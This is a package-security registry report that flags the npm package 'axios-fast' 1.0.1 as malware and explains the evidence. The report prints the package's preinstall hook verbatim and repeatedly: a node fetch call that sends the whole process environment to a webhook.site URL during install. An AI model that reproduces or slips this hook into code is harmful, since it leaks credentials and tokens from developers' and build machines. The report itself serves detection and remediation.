registry / Credential exfiltration / axios-fast
axios-fast
HTTP client nativo com fetch e UI simples para testar requisições
This report shows the evidence for axios-fast@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect manifest inspection confirms an automatic preinstall hook that exfiltrates the complete process environment to an unrelated external webhook. This is concrete malicious install-time credential/data exfiltration.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation, before package installation completes
Impact
Potential disclosure of credentials and configuration from the install environment.
Mechanism
preinstall environment exfiltration via fetch
Attack narrative
The package manifest registers a preinstall command, so npm invokes Node during installation without an explicit runtime call by the consumer. That command serializes process.env and POSTs it to a third-party webhook.site URL, while swallowing errors. This is a concrete credential/configuration exfiltration path; the normal HTTP-client source does not mitigate the install-time behavior.
AI rationale
Direct manifest inspection confirms an automatic preinstall hook that exfiltrates the complete process environment to an unrelated external webhook. This is concrete malicious install-time credential/data exfiltration.
Evidence
package.jsonsrc/http-client.jsindex.jsapp.jsREADME.mdindex.html
Network endpoints1
webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines a preinstall hook that executes automatically during npm installation.
- The hook POSTs serialized process.env data to a unique webhook.site endpoint and suppresses failures.
- Environment capture can disclose installation-host credentials, tokens, and configuration.
Evidence against
- The exported HTTP client only sends requests to URLs supplied by the caller.
- No source-file persistence, filesystem harvesting, shell execution, or remote payload loading was found.
Behavioral surface
Network
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node -e "fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: proc...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.preinstall = node -e "fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: proc...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg11"scripts": {
"start": "python3 -m http.server 3000",
"test": "node --test",
"preinstall": "node -e \"fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});\""
High
Suspicious Lifecycle Evidence
package.json defines a preinstall hook that executes automatically during npm installation.
package.jsonView on unpkg · L1114"preinstall": "node -e \"fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});\""
High
Ai Review Evidence
The hook POSTs serialized process.env data to a unique webhook.site endpoint and suppresses failures.
package.jsonView on unpkg · L14package.json#scripts.preinstallView file
•scripts.preinstall = node -e "fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});"
High
Manifest Script External Callback
An npm script contacts a known out-of-band callback or webhook service.
package.json#scripts.preinstallView on unpkg•scripts.preinstall = node -e "fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});"
High
Manifest Script Environment Exfiltration
An npm script serializes the process environment and posts it to an external host.
package.json#scripts.preinstallView on unpkgFindings
1 Critical5 High1 Medium1 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighManifest Script External Callbackpackage.json#scripts.preinstall
HighManifest Script Environment Exfiltrationpackage.json#scripts.preinstall
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencepackage.json
MediumNetwork
LowScripts Present
Affected versions and remediation
This report applies to axios-fast@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing axios-fast@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.